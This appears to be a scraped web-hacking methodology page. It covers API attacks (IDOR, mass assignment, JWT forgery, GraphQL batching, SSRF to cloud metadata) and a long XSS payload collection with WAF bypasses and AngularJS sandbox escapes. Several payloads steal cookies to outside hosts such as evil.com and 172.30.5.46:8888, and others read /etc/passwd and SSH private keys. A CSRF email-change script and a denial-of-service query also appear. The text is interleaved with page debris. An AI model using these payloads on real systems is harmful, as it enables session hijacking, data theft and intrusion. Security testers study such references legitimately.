    curl -X POST https://target.com/api/v1/users \
      -H "Content-Type: application/json" \
      -d '{"user_id": 1, "user_id": 2}'
    
    # Encoded IDs
    # base64, hex, URL encoded
    echo -n "1" | base64  # Try decoded/encoded values
    # Add unexpected parameters
    curl -X POST https://target.com/api/v1/users \
      -H "Content-Type: application/json" \
      -d '{"username":"test", "role":"admin", "isAdmin":true, "is_admin":1}'
    
    # Common parameters to try:
    # role, admin, isAdmin, is_admin, privilege, permissions
    # verified, active, approved, status
    # balance, credits, points
    # password, password_hash
    # IP rotation headers
    curl -H "X-Forwarded-For: 1.2.3.4" https://target.com/api/v1/login
    curl -H "X-Real-IP: 1.2.3.4" https://target.com/api/v1/login
    curl -H "X-Client-IP: 1.2.3.4" https://target.com/api/v1/login
    curl -H "X-Originating-IP: 1.2.3.4" https://target.com/api/v1/login
    
    # Null byte injection
    curl "https://target.com/api/v1/login%00"
    curl "https://target.com/api/v1/login%0d%0a"
    
    # Case variation
    curl https://target.com/API/V1/LOGIN
    curl https://target.com/Api/V1/Login
    
    # Adding parameters
    curl "https://target.com/api/v1/login?random=123"
    # Basic JWT testing
    # https://github.com/ticarpi/jwt_tool
    python3 jwt_tool.py <JWT>
    
    # None algorithm attack
    python3 jwt_tool.py <JWT> -X a
    
    # Key confusion (RS256 to HS256)
    python3 jwt_tool.py <JWT> -X k -pk public.pem
    
    # Brute force secret
    python3 jwt_tool.py <JWT> -C -d /path/to/wordlist.txt
    # Common GraphQL endpoints
    /graphql
    /graphiql
    /v1/graphql
    /api/graphql
    /graphql/console
    /graphql.php
    /graphql/api
    
    # Check for introspection
    curl -X POST https://target.com/graphql \
      -H "Content-Type: application/json" \
      -d '{"query": "{__schema{types{name,fields{name}}}}"}'
    # Full introspection query
    {
      __schema {
        queryType { name }
        mutationType { name }
        subscriptionType { name }
        types {
          ...FullType
        }
        directives {
          name
          description
          locations
          args {
            ...InputValue
          }
        }
      }
    }
    
    fragment FullType on __Type {
      kind
      name
      description
      fields(includeDeprecated: true) {
        name
        description
        args {
          ...InputValue
        }
        type {
          ...TypeRef
        }
        isDeprecated
        deprecationReason
      }
      inputFields {
        ...InputValue
      }
      interfaces {
        ...TypeRef
      }
      enumValues(includeDeprecated: true) {
        name
        description
        isDeprecated
        deprecationReason
      }
      possibleTypes {
        ...TypeRef
      }
    }
    
    fragment InputValue on __InputValue {
      name
      description
      type { ...TypeRef }
      defaultValue
    }
    
    fragment TypeRef on __Type {
      kind
      name
      ofType {
        kind
        name
        ofType {
          kind
          name
          ofType {
            kind
            name
            ofType {
              kind
              name
            }
          }
        }
      }
    }
    # Batching attack (bypass rate limits)
    curl -X POST https://target.com/graphql \
      -H "Content-Type: application/json" \
      -d '[{"query":"mutation{login(user:\"admin\",pass:\"pass1\")}"}, {"query":"mutation{login(user:\"admin\",pass:\"pass2\")}"}]'
    
    # Field suggestion exploitation
    curl -X POST https://target.com/graphql \
      -H "Content-Type: application/json" \
      -d '{"query":"{__schema{types{name}}}"}'
    
    # Alias-based batching
    curl -X POST https://target.com/graphql \
      -H "Content-Type: application/json" \
      -d '{"query":"query { a1: user(id:1) { id } a2: user(id:2) { id } a3: user(id:3) { id }}"}'
    
    # Deeply nested queries (DoS)
    curl -X POST https://target.com/graphql \
      -H "Content-Type: application/json" \
      -d '{"query":"{ user { friends { friends { friends { friends { name }}}}}}"}'
    # GraphQL Voyager - Visual schema
    # https://github.com/APIs-guru/graphql-voyager
    
    # InQL - Burp extension
    # https://github.com/doyensec/inql
    
    # graphql-cop - Security auditor
    # https://github.com/dolevf/graphql-cop
    python3 graphql-cop.py -t https://target.com/graphql
    
    # Clairvoyance - Introspection bypass
    # https://github.com/nikitastupin/clairvoyance
    python3 clairvoyance.py https://target.com/graphql -o schema.json
    # Install grpcurl
    go install github.com/fullstorydev/grpcurl/cmd/grpcurl@latest
    
    # Install grpc-client-cli
    pip install grpc-client-cli
    # List services (if reflection enabled)
    grpcurl -plaintext target.com:50051 list
    
    # Describe service
    grpcurl -plaintext target.com:50051 describe ServiceName
    
    # Describe method
    grpcurl -plaintext target.com:50051 describe ServiceName.MethodName
    
    # Call method
    grpcurl -plaintext -d '{"name": "test"}' target.com:50051 ServiceName/MethodName
    # Test without TLS
    grpcurl -plaintext target.com:50051 list
    
    # Test with insecure TLS
    grpcurl -insecure target.com:443 list
    
    # Header injection
    grpcurl -H "X-Forwarded-For: 127.0.0.1" target.com:50051 ServiceName/Method
    
    # Message manipulation
    grpcurl -d '{"id": -1}' target.com:50051 ServiceName/GetUser
    grpcurl -d '{"id": 9999999999}' target.com:50051 ServiceName/GetUser
    # Test horizontal privilege escalation
    # 1. Create two user accounts
    # 2. Get object IDs from user A
    # 3. Try to access those objects as user B
    
    curl -H "Authorization: Bearer USER_B_TOKEN" \
      https://target.com/api/v1/users/USER_A_ID/documents
    # Test vertical privilege escalation
    # Access admin functions with regular user token
    
    curl -H "Authorization: Bearer REGULAR_USER_TOKEN" \
      -X POST https://target.com/api/v1/admin/users \
      -d '{"role": "admin"}'
    
    # Check for hidden admin endpoints
    /api/v1/admin/
    /api/v1/internal/
    /api/v1/management/
    /api/v1/debug/
    # Test URL parameters
    curl "https://target.com/api/v1/fetch?url=http://169.254.169.254/latest/meta-data/"
    curl "https://target.com/api/v1/fetch?url=http://localhost:8080/admin"
    
    # Webhook endpoints
    curl -X POST https://target.com/api/v1/webhooks \
      -H "Content-Type: application/json" \
      -d '{"callback_url": "http://attacker.com/callback"}'
    # Check for verbose responses
    # Look for fields like:
    # - password, password_hash, secret
    # - internal_id, debug_info
    # - email, phone, address (for other users)
    # - api_key, access_token
    
    # Compare responses between endpoints
    diff <(curl -s https://target.com/api/v1/users/1) \
         <(curl -s https://target.com/api/v1/users/1/public)
    # Postman - API testing
    # https://www.postman.com/
    
    # Insomnia - API client
    # https://insomnia.rest/
    
    # Burp Suite - Proxy & scanner
    # Extensions: Authorize, AuthMatrix, InQL
    
    # OWASP ZAP - OpenAPI scanning
    # https://www.zaproxy.org/
    
    # Arjun - Parameter discovery
    # https://github.com/s0md3v/Arjun
    arjun -u https://target.com/api/v1/endpoint
    
    # ParamSpider - Parameter mining
    # https://github.com/devanshbatham/ParamSpider
    python3 paramspider.py -d target.com
    
    # Kiterunner - API endpoint discovery
    # https://github.com/assetnote/kiterunner
    kr scan https://target.com -w routes-large.kite

    XSS

    Skill Level: Beginner to Intermediate Prerequisites: JavaScript, HTML basics

    circle-info

    Try XSS in every input field, host headers, url redirections, URI paramenters and file upload namefiles.

    Actions: phising through iframe, cookie stealing, always try convert self to reflected.

    hashtag
    Tools

    hashtag
    Oneliners

    hashtag
    XSS recopilation

    hashtag
    Basics

    hashtag
    By tag

    hashtag
    Blind

    hashtag
    Bypasses

    hashtag
    Encoded

    hashtag
    Polyglots

    hashtag
    XSS in files

    hashtag
    DOM XSS

    hashtag
    XSS to CSRF

    hashtag
    AngularJS Sandbox

    hashtag
    XSS in JS

    hashtag
    XSS Waf Bypasses

    hashtag
    XSS Mindmap

    hashtag
    Related Topics

    • - Content Security Policy bypass

    • - Cross-site request forgery

    • - Cross-origin resource sharing

    - Server-side template injection
  • - HTTP header manipulation

  • CSP
    CSRF
    CORS
    # https://github.com/hahwul/dalfox
    dalfox url http://testphp.vulnweb.com/listproducts.php
    
    # Expected output:
    # [POC][G][WEAK] http://testphp.vulnweb.com/listproducts.php?cat=<script>alert(1)</script>
    # [POC][V][GET] http://testphp.vulnweb.com/listproducts.php?cat="><svg/onload=alert(45)>
    
    # https://github.com/KathanP19/Gxss
    # Replace every param value with word FUZZ
    echo "https://target.com/some.php?first=hello&last=world" | Gxss -c 100
    
    # Expected output:
    # https://target.com/some.php?first=FUZZ&last=world
    # https://target.com/some.php?first=hello&last=FUZZ
    
    # XSpear
    gem install XSpear
    XSpear -u 'https://web.com' -a
    XSpear -u 'https://www.web.com/?q=123' --cookie='role=admin' -v 1 -a -b https://six2dez.xss.ht -t 20
    XSpear -u "http://testphp.vulnweb.com/search.php?test=query" -p test -v 1
    
    # Xira
    # https://github.com/xadhrit/xira
    python3 xira.py -u url
    
    # Hosting XSS
    # surge.sh
    npm install --global surge
    mkdir mypayload
    cd mypayload
    echo "alert(1)" > payload.js
    surge # It returns the url
    
    # XSS vectors
    https://gist.github.com/kurobeats/9a613c9ab68914312cbb415134795b45
    
    # Payload list
    https://github.com/m0chan/BugBounty/blob/master/xss-payload-list.txt
    
    https://github.com/terjanq/Tiny-XSS-Payloads
    
    # XSS to RCE
    # https://github.com/shelld3v/JSshell
    
    # Polyglots
    # https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot
    
    # XSS browser
    # https://github.com/RenwaX23/XSSTRON
    
    # Blind
    # https://github.com/hipotermia/vaya-ciego-nen
    # WaybackUrls
    echo "domain.com" | waybackurls | httpx -silent | Gxss -c 100 -p Xss | sort -u | dalfox pipe -b https://six2dez.xss.ht
    # Param discovery based
    paramspider -d target.com > /filepath/param.txt && dalfox -b https://six2dez.xss.ht file /filepath/param.txt 
    # Blind XSS
    cat target_list.txt | waybackurls -no-subs | grep "https://" | grep -v "png\|jpg\|css\|js\|gif\|txt" | grep "=" | qsreplace -a | dalfox pipe -b https://six2dez.xss.ht
    # Reflected XSS
    echo "domain.com" | waybackurls | gf xss | kxss
    # Locators
    '';!--"<XSS>=&{()}
    
    # 101
    <script>alert(1)</script>
    <script>+-+-1-+-+alert(1)</script>
    <script>+-+-1-+-+alert(/xss/)</script>
    %3Cscript%3Ealert(0)%3C%2Fscript%3E
    %253Cscript%253Ealert(0)%253C%252Fscript%253E
    <svg onload=alert(1)>
    "><svg onload=alert(1)>
    <iframe src="javascript:alert(1)">
    "><script src=data:&comma;alert(1)//
    <noscript><p title="</noscript><img src=x onerror=alert(1)>">
    %5B'-alert(document.cookie)-'%5D
    # Tag filter bypass
    <svg/onload=alert(1)>
    <script>alert(1)</script>
    <script     >alert(1)</script>
    <ScRipT>alert(1)</sCriPt>
    <%00script>alert(1)</script>
    <script>al%00ert(1)</script>
    
    # HTML tags
    <img/src=x a='' onerror=alert(1)>
    <IMG """><SCRIPT>alert(1)</SCRIPT>">
    <img src=`x`onerror=alert(1)>
    <img src='/' onerror='alert("kalisa")'>
    <IMG SRC=# onmouseover="alert('xxs')">
    <IMG SRC= onmouseover="alert('xxs')">
    <IMG onmouseover="alert('xxs')">
    <BODY ONLOAD=alert('XSS')>
    <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
    <SCRIPT SRC=http:/evil.com/xss.js?< B >
    "><XSS<test accesskey=x onclick=alert(1)//test
    <svg><discard onbegin=alert(1)>
    <script>image = new Image(); image.src="https://evil.com/?c="+document.cookie;</script>
    <script>image = new Image(); image.src="http://"+document.cookie+"evil.com/";</script>
    
    # Other tags
    <BASE HREF="javascript:alert('XSS');//">
    <DIV STYLE="width: expression(alert('XSS'));">
    <TABLE BACKGROUND="javascript:alert('XSS')">
    <IFRAME SRC="javascript:alert('XSS');"></IFRAME>
    <LINK REL="stylesheet" HREF="javascript:alert('XSS');">
    <xss id=x tabindex=1 onactivate=alert(1)></xss>
    <xss onclick="alert(1)">test</xss>
    <xss onmousedown="alert(1)">test</xss>
    <body onresize=alert(1)>”onload=this.style.width=‘100px’>
    <xss id=x onfocus=alert(document.cookie)tabindex=1>#x’;</script>
    
    # CharCode
    <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
    
    # Input already in script tag
    @domain.com">user+'-alert`1`-'@domain.com
    
    # Scriptless
    <link rel=icon href="//evil?
    <iframe src="//evil?
    <iframe src="//evil?
    <input type=hidden type=image src="//evil?
    
    # Unclosed Tags
    <svg onload=alert(1)//
    # Blind XSS
    # https://github.com/LewisArdern/bXSS
    # https://github.com/ssl/ezXSS
    # https://xsshunter.com/
    
    # Blind XSS detection
    # Xsshunter payload in every field
    # Review forms
    # Contact Us pages
    # Passwords(You never know if the other side doesn’t properly handle input and if your password is in View mode)
    # Address fields of e-commerce sites
    # First or Last Name field while doing Credit Card Payments
    # Set User-Agent to a Blind XSS payload. You can do that easily from a proxy such as Burpsuite.
    # Log Viewers
    # Feedback Page
    # Chat Applications
    # Any app that requires user moderation
    # Host header
    # Why cancel subscription? forms
    # No parentheses
    <script>onerror=alert;throw 1</script>
    <script>throw onerror=eval,'=alert\x281\x29'</script>
    <script>'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}</script>
    <script>location='javascript:alert\x281\x29'</script>
    <script>alert`1`</script>
    <script>new Function`X${document.location.hash.substr`1`}`</script>
    
    # No parentheses and no semicolons
    <script>{onerror=alert}throw 1</script>
    <script>throw onerror=alert,1</script>
    <script>onerror=alert;throw 1337</script>
    <script>{onerror=alert}throw 1337</script>
    <script>throw onerror=alert,'some string',123,'haha'</script>
    
    # No parentheses and no spaces:
    <script>Function`X${document.location.hash.substr`1`}```</script>
    
    # Angle brackets HTML encoded (in an attribute)
    “onmouseover=“alert(1)
    ‘-alert(1)-’
    
    # If quote is escaped
    ‘}alert(1);{‘
    ‘}alert(1)%0A{‘
    \’}alert(1);{//
    
    # Embedded tab, newline, carriage return to break up XSS
    <IMG SRC="jav&#x09;ascript:alert('XSS');">
    <IMG SRC="jav&#x0A;ascript:alert('XSS');">
    <IMG SRC="jav&#x0D;ascript:alert('XSS');">
    
    # RegEx bypass
    <img src="X" onerror=top[8680439..toString(30)](1337)>
    
    # Other
    <svg/onload=eval(atob(‘YWxlcnQoJ1hTUycp’))>: base64 value which is alert(‘XSS’)
    # Unicode
    <script>\u0061lert(1)</script>
    <script>\u{61}lert(1)</script>
    <script>\u{0000000061}lert(1)</script>
    
    # Hex
    <script>eval('\x61lert(1)')</script>
    
    # HTML
    <svg><script>&#97;lert(1)</script></svg>
    <svg><script>&#x61;lert(1)</script></svg>
    <svg><script>alert&NewLine;(1)</script></svg>
    <svg><script>x="&quot;,alert(1)//";</script></svg>
    \’-alert(1)//
    
    # URL
    <a href="javascript:x='%27-alert(1)-%27';">XSS</a>
    
    # Double URL Encode
    %253Csvg%2520o%256Enoad%253Dalert%25281%2529%253E
    %2522%253E%253Csvg%2520o%256Enoad%253Dalert%25281%2529%253E
    
    # Unicode + HTML
    <svg><script>&#x5c;&#x75;&#x30;&#x30;&#x36;&#x31;&#x5c;&#x75;&#x30;&#x30;&#x36;&#x63;&#x5c;&#x75;&#x30;&#x30;&#x36;&#x35;&#x5c;&#x75;&#x30;&#x30;&#x37;&#x32;&#x5c;&#x75;&#x30;&#x30;&#x37;&#x34;(1)</script></svg>
    
    # HTML + URL
    <iframe src="javascript:'&#x25;&#x33;&#x43;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x25;&#x33;&#x45;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;&#x25;&#x33;&#x43;&#x25;&#x32;&#x46;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x25;&#x33;&#x45;'"></iframe>
    jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
    -->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
    oNcliCk=alert(1)%20)//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>%5Cx3csVg/<img/src/onerror=alert(2)>%5Cx3e
    javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(document.domain)//'>
    javascript:alert();//<img src=x:x onerror=alert(1)>\";alert();//";alert();//';alert();//`;alert();// alert();//*/alert();//--></title></textarea></style></noscript></noembed></template></select></script><frame src=javascript:alert()><svg onload=alert()><!--
    ';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
    ">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm&lpar; 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg"> 
    ```
    %3C!%27/!%22/!\%27/\%22/ — !%3E%3C/Title/%3C/script/%3E%3CInput%20Type=Text%20Style=position:fixed;top:0;left:0;font-size:999px%20*/;%20Onmouseenter=confirm1%20//%3E#
    <!'/!”/!\'/\"/ — !></Title/</script/><Input Type=Text Style=position:fixed;top:0;left:0;font-size:999px */; Onmouseenter=confirm1 //>#
    jaVasCript:/-//*\/'/"/*/(/ */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/ — !>\x3csVg/<sVg/oNloAd=alert()//>\x3e
    ">>
    ” ></plaintext></|><plaintext/onmouseover=prompt(1) >prompt(1)@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>’ →” > "></script>alert(1)”><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'">">
    " onclick=alert(1)//<button ' onclick=alert(1)//> */ alert(1)//
    ?msg=<img/src=`%00`%20onerror=this.onerror=confirm(1)
    <svg/onload=eval(atob(‘YWxlcnQoJ1hTUycp’))>
    <sVg/oNloAd=”JaVaScRiPt:/**\/*\’/”\eval(atob(‘Y29uZmlybShkb2N1bWVudC5kb21haW4pOw==’))”> <iframe src=jaVaScrIpT:eval(atob(‘Y29uZmlybShkb2N1bWVudC5kb21haW4pOw==’))>
    ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
    jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert())//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
    '">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouse over=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>"><img/id="confirm&lpar;1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><imgsrc="http://i.imgur.com/P8mL8.jpg">
    
    # No parenthesis, back ticks, brackets, quotes, braces
    a=1337,b=confirm,c=window,c.onerror=b;throw-a
    
    # Another uncommon
    '-(a=alert,b="_Y000!_",[b].find(a))-'
    
    # Common XSS in HTML Injection
    <svg onload=alert(1)>
    </tag><svg onload=alert(1)>
    "></tag><svg onload=alert(1)>
    'onload=alert(1)><svg/1='
    '>alert(1)</script><script/1='
    */alert(1)</script><script>/*
    */alert(1)">'onload="/*<svg/1='
    `-alert(1)">'onload="`<svg/1='
    */</script>'>alert(1)/*<script/1='
    p=<svg/1='&q='onload=alert(1)>
    p=<svg 1='&q='onload='/*&r=*/alert(1)'>
    q=<script/&q=/src=data:&q=alert(1)>
    <script src=data:,alert(1)>
    # inline
    "onmouseover=alert(1) //
    "autofocus onfocus=alert(1) //
    # src attribute
    javascript:alert(1)
    # JS injection
    '-alert(1)-'
    '/alert(1)//
    \'/alert(1)//
    '}alert(1);{'
    '}alert(1)%0A{'
    \'}alert(1);{//
    /alert(1)//\
    /alert(1)}//\
    ${alert(1)}
    
    # XSS onscroll
    <p style=overflow:auto;font-size:999px onscroll=alert(1)>AAA<x/id=y></p>#y
    
    # XSS filter bypasss polyglot:
    ';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
    ">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm&lpar; 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg"> 
    
    " <script> x=new XMLHttpRequest; x.onload=function(){ document.write(this.responseText.fontsize(1)) }; x.open("GET","file:///home/reader/.ssh/id_rsa"); x.send(); </script>
    " <script> x=new XMLHttpRequest; x.onload=function(){ document.write(this.responseText) }; x.open("GET","file:///etc/passwd"); x.send(); </script>
    
    # GO SSTI
    {{define "T1"}}<script>alert(1)</script>{{end}} {{template "T1"}}`
    
    # Some XSS exploitations
    - host header injection through xss
    add referer: batman 
    hostheader: bing.com">script>alert(document.domain)</script><"
    - URL redirection through xss
    document.location.href="http://evil.com"
    - phishing through xss - iframe injection
    <iframe src="http://evil.com" height="100" width="100"></iframe>
    - Cookie stealing through xss
    https://github.com/lnxg33k/misc/blob/master/XSS-cookie-stealer.py
    https://github.com/s0wr0b1ndef/WebHacking101/blob/master/xss-reflected-steal-cookie.md
    <script>var i=new Image;i.src="http://172.30.5.46:8888/?"+document.cookie;</script>
    <img src=x onerror=this.src='http://172.30.5.46:8888/?'+document.cookie;>
    <img src=x onerror="this.src='http://172.30.5.46:8888/?'+document.cookie; this.removeAttribute('onerror');">
    -  file upload  through xss
    upload a picturefile, intercept it, change picturename.jpg to xss paylaod using intruder attack
    -  remote file inclusion (RFI) through xss
    php?=http://brutelogic.com.br/poc.svg - xsspayload
    - convert self xss to reflected one
    copy response in a file.html -> it will work
    
    # XSS to SSRF
    <esi:include src="http://yoursite.com/capture" />
    
    # XSS to LFI
    <script>	x=new XMLHttpRequest;	x.onload=function(){		document.write(this.responseText)	};	x.open("GET","file:///etc/passwd");	x.send();</script>
    
    <img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
    <script>document.write('<iframe src=file:///etc/passwd></iframe>');</scrip>
    # XSS in filename:
    "><img src=x onerror=alert(document.domain)>.gif
    
    # XSS in metadata:
    exiftool -FIELD=XSS FILE
    exiftool -Artist=' "><img src=1 onerror=alert(document.domain)>' brute.jpeg
    exiftool -Artist='"><script>alert(1)</script>' dapos.jpeg
    
    # XSS in GIF Magic Number:
    GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//;
    # If image can't load:
    url.com/test.php?p=<script src=http://url.com/upload/img/xss.gif>
    
    # XSS in png:
    https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/
    
    # XSS in PDF:
    https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html?m=1
    
    # XSS upload filename:
    cp somefile.txt \"\>\<img\ src\ onerror=prompt\(1\)\>
    <img src=x onerror=alert('XSS')>.png
    "><img src=x onerror=alert('XSS')>.png
    "><svg onmouseover=alert(1)>.svg
    <<script>alert('xss')<!--a-->a.png
    "><svg onload=alert(1)>.gif
    
    # XSS Svg Image upload
    <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
       <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
       <script type="text/javascript">
          alert('XSS!');
       </script>
    </svg>
    
    # XSS svg image upload 2
    # If you're testing a text editor on a system that you can also upload files to, try to embed an svg:
    <iframe src="https://s3-us-west-2.amazonaws.com/s.cdpn.io/3/movingcart_1.svg" frameborder="0"></iframe>
    #If that works, upload an SVG with the following content and try rendering it using the text editor:
    <svg xmlns="http://www.w3.org/2000/svg">
        <script>alert(document.domain)</script>
    </svg>
    
    # XSS in SVG 3:
    <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>
    
    # XSS in XML
    <html>
    <head></head>
    <body>
    <something:script xmlns:something="http://www.w3.org/1999/xhtml">alert(1)</something:script>
    </body>
    </html>
    
    # https://brutelogic.com.br/blog/file-upload-xss/
    
    " ="" '></><script></script><svg onload"="alertonload=alert(1)"" onload=setInterval'alert\x28document.domain\x29'
    
    # XSS in existent jpeg:
    exiftool -Artist='"><svg onload=alert(1)>' xss.jpeg
    
    # XSS in url (and put as header)
    http://acme.corp/?redir=[URI_SCHEME]://gremwell.com%0A%0A[XSS_PAYLOAD]
    
    # XSS in XML
    <?xml version="1.0" encoding="UTF-8"?>
    <html xmlns:html="http://w3.org/1999/xhtml">
    <html:script>prompt(document.domain);</html:script>
    </html>
    <img src=1 onerror=alert(1)>
    <iframe src=javascript:alert(1)>
    <details open ontoggle=alert(1)>
    <svg><svg onload=alert(1)>
    data:text/html,<img src=1 onerror=alert(1)>
    data:text/html,<iframe src=javascript:alert(1)>
    <iframe src=TARGET_URL onload="frames[0].postMessage('INJECTION','*')">
    "><svg onload=alert(1)>
    javascript:alert(document.cookie)
    \"-alert(1)}//
    # Example:
    
    # Detect action to change email, with anti csrf token, get it and paste this in a comment to change user email:
    
    <script>
    var req = new XMLHttpRequest();
    req.onload = handleResponse;
    req.open('get','/email',true);
    req.send();
    function handleResponse() {
        var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
        var changeReq = new XMLHttpRequest();
        changeReq.open('post', '/email/change-email', true);
        changeReq.send('csrf='+token+'&[email protected]')
    };
    </script>
    # Removed in AngularJS 1.6
    # Is a way to avoid some strings like window, document or __proto__.
    
    # Without strings:
    /?search=1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1
    
    # With CSP:
    
    <script>
    location='https://your-lab-id.web-security-academy.net/?search=%3Cinput%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27%3E#x';
    </script>
    
    # v 1.6 and up
    {{$new.constructor('alert(1)')()}}
    <x ng-app>{{$new.constructor('alert(1)')()}}
    
    {{constructor.constructor('alert(1)')()}}
    {{constructor.constructor('import("https://six2dez.xss.ht")')()}}
    {{$on.constructor('alert(1)')()}}
    {{{}.")));alert(1)//"}}
    {{{}.")));alert(1)//"}}
    toString().constructor.prototype.charAt=[].join; [1,2]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,11 4,116,40,49,41)
    # Inside JS script:
    </script><img src=1 onerror=alert(document.domain)>
    </script><script>alert(1)</script>
    
    # Inside JS literal script:
    '-alert(document.domain)-'
    ';alert(document.domain)//
    '-alert(1)-'
    
    # Inside JS that escape special chars:
    If ';alert(document.domain)// is converted in \';alert(document.domain)//
    Use \';alert(document.domain)// to obtain \\';alert(document.domain)//
    \'-alert(1)//
    
    # Inside JS with some char blocked:
    onerror=alert;throw 1
    /post?postId=5&%27},x=x=%3E{throw/**/onerror=alert,1337},toString=x,window%2b%27%27,{x:%27
    
    # Inside {}
    ${alert(document.domain)}
    ${alert(1)}
    # Only lowercase block
    <sCRipT>alert(1)</sCRipT>
    
    # Break regex
    <script>%0aalert(1)</script>
    
    # Double encoding
    %2522
    
    # Recursive filters
    <scr<script>ipt>alert(1)</scr</script>ipt>
    
    # Inject anchor tag
    <a/href="j&Tab;a&Tab;v&Tab;asc&Tab;ri&Tab;pt:alert&lpar;1&rpar;">
    
    # Bypass whitespaces
    <svg·onload=alert(1)>
    
    # Change GET to POST request
    
    # Imperva Incapsula
    %3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%25 23x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%25 26%2523x29%3B%22%3E
    <img/src="x"/onerror="[JS-F**K Payload]">
    <iframe/onload='this["src"]="javas&Tab;cript:al"+"ert``"';><img/src=q onerror='new Function`al\ert\`1\``'>
    
    # WebKnight
    <details ontoggle=alert(1)>
    <div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">
    
    # F5 Big IP
    <body style="height:1000px" onwheel="[DATA]">
    <div contextmenu="xss">Right-Click Here<menu id="xss" onshow="[DATA]">
    <body style="height:1000px" onwheel="[JS-F**k Payload]">
    <div contextmenu="xss">Right-Click Here<menu id="xss" onshow="[JS-F**k Payload]">
    <body style="height:1000px" onwheel="prom%25%32%33%25%32%36x70;t(1)">
    <div contextmenu="xss">Right-Click Here<menu id="xss" onshow="prom%25%32%33%25%32%36x70;t(1)">
    
    # Barracuda WAF
    <body style="height:1000px" onwheel="alert(1)">
    <div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">
    
    # PHP-IDS
    <svg+onload=+"[DATA]"
    <svg+onload=+"aler%25%37%34(1)"
    
    # Mod-Security
    <a href="j[785 bytes of (&NewLine;&Tab;)]avascript:alert(1);">XSS</a>
    1⁄4script3⁄4alert(¢xss¢)1⁄4/script3⁄4
    <b/%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35mouseover=alert(1)>
    
    # Quick Defense:
    <input type="search" onsearch="aler\u0074(1)">
    <details ontoggle="aler\u0074(1)">
    
    # Sucuri WAF
    1⁄4script3⁄4alert(¢xss¢)1⁄4/script3⁄4
    
    # Akamai
    1%3C/script%3E%3Csvg/onload=prompt(document[domain])%3E
    <SCr%00Ipt>confirm(1)</scR%00ipt>
    # AngularJS
    {{constructor.constructor(alert 1 )()}} 
    SSTI
    Header Injections
    CORS Misconfigurations: Advanced Exploitation GuideIntigritichevron-right
    Logo

    Ports

    hashtag
    General

    AIO Penetration Testing Methodology - 0DAYsecurity.comarrow-up-right

    hashtag
    Port 21 - FTP

    hashtag
    Port 22 - SSH

    • If you have usernames test login with username:username

    • Vulnerable Versions to user enum: <7.7

    hashtag
    Port 23 - Telnet

    hashtag
    Port 25 - SMTP

    hashtag
    Port 43 - Whois

    hashtag
    Port 53 - DNS

